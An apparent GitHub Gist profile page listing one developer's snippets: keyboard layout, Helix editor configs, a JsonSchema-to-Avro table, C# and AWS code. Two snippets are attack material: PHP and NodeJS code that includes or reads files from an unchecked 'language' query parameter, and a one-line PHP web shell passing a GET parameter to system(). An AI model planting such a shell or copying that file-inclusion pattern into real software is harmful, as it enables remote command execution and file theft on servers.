Skip to content

Instantly share code, notes, and snippets.

View VisualBean's full-sized avatar
🐵

Alex Wichmann VisualBean

🐵
View GitHub Profile
@VisualBean
VisualBean / layout.vil
Last active May 3, 2025 10:48
corne keyboard layout mixed marktos & miryoku
{"version": 1, "uid": 12348655077769410169, "layout": [[["LGUI_T(KC_TAB)", "KC_Q", "KC_W", "KC_E", "KC_R", "KC_T", "KC_LBRACKET"], ["KC_LSHIFT", "TD(6)", "KC_S", "KC_D", "KC_F", "KC_G", "KC_MINUS"], ["KC_LALT", "TD(8)", "TD(7)", "TD(4)", "TD(5)", "KC_B", -1], [-1, -1, -1, "LCTL_T(KC_ESCAPE)", "LT6(KC_SPACE)", "LT1(KC_TAB)", -1], ["KC_DELETE", "KC_P", "KC_O", "KC_I", "KC_U", "KC_Y", "KC_RBRACKET"], ["KC_QUOTE", "KC_SCOLON", "KC_L", "KC_K", "KC_J", "KC_H", "KC_EQUAL"], ["TD(0)", "KC_SLASH", "KC_DOT", "KC_COMMA", "KC_M", "KC_N", -1], [-1, -1, -1, "OSM(MOD_RSFT)", "LT4(KC_BSPACE)", "LT1(KC_ENTER)", -1]], [["KC_TRNS", "KC_TRNS", "KC_TRNS", "KC_TRNS", "KC_TRNS", "RGB_TOG", "KC_TRNS"], ["KC_TRNS", "KC_MPRV", "KC_VOLD", "KC_VOLU", "KC_MNXT", "KC_TRNS", "KC_TRNS"], ["KC_TRNS", "KC_TRNS", "KC_TRNS", "KC_TRNS", "KC_TRNS", "KC_TRNS", -1], [-1, -1, -1, "KC_MSTP", "KC_MPLY", "KC_TRNS", -1], ["KC_TRNS", "KC_UNDO", "KC_CUT", "KC_COPY", "KC_PSTE", "KC_AGIN", "KC_TRNS"], ["KC_TRNS", "KC_TRNS", "KC_MS_R", "KC_MS_U", "KC_MS_D",
{
"type": "object",
"properties": {
"PropertyOne": {
"type": "string"
},
"PropertyTwo": {
"type": "integer"
}
},
@VisualBean
VisualBean / json_to_avro.md
Created April 22, 2025 02:53
A preliminary JsonSchema -> Avro conversion chart

A guardrail means that it must be checked against.

JsonSchema Property AvroSchema Support IsConvertable Description Guardrail?
AnyOf Union (Somewhat fit)
AllOf Not supported This cannot be expressed in Avro Yes
OneOf Union (Best fit)
Nullable Union (null + another Type)
Title Schema.Name Must be guardrail as avro requires "Name" for its types. Yes
Type AvroRecord, AvroArray, AvroMap, AvroEnum (with Symbols) or primitive (see picture) Must be guardrailed as avro needs a type to convert into. Yes
@VisualBean
VisualBean / config.toml
Last active April 22, 2025 21:12
my helix config
theme = "catppuccin_frappe"
[editor]
bufferline = "multiple"
cursorline = true
line-number = "absolute"
true-color = true
end-of-line-diagnostics = "hint"
[editor.cursor-shape]
// PHP
`if (isset($_GET['language'])) {
include($_GET['language']);
}`
// NodeJS
`if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
@VisualBean
VisualBean / shell.php
Created January 3, 2025 12:37
Simplest php shell
<?php system($_GET["cmd"]); ?>
@VisualBean
VisualBean / Contrived.cs
Created August 12, 2024 12:15
JsonPointer deserialization example
using Json.Pointer;
using System.Text.Json;
using System.Text.Json.Nodes;
var json =
"""
{
"objects": {
"and": {
"myProp": "1234"
// Get reference to the existing secret
let existingSecret = aws.secretsmanager.getSecret({name: "existingSecretName"});
// Create a new secret version
let secretVersion = new aws.secretsmanager.SecretVersion("secretVersion", {
secretId: existingSecret.then(secret => secret.id),
secretString: "newSecretValue",
});
type: object
properties:
orderId:
description: The ID of the order.
type: string
format: uuid
name:
description: Name of order.
type: string
orderDetails:
@VisualBean
VisualBean / config.toml
Created May 8, 2024 06:03
my helix setup
theme = "onedark"
[editor]
line-number = "relative"
mouse = false
bufferline = "multiple"
cursorline = true
true-color = true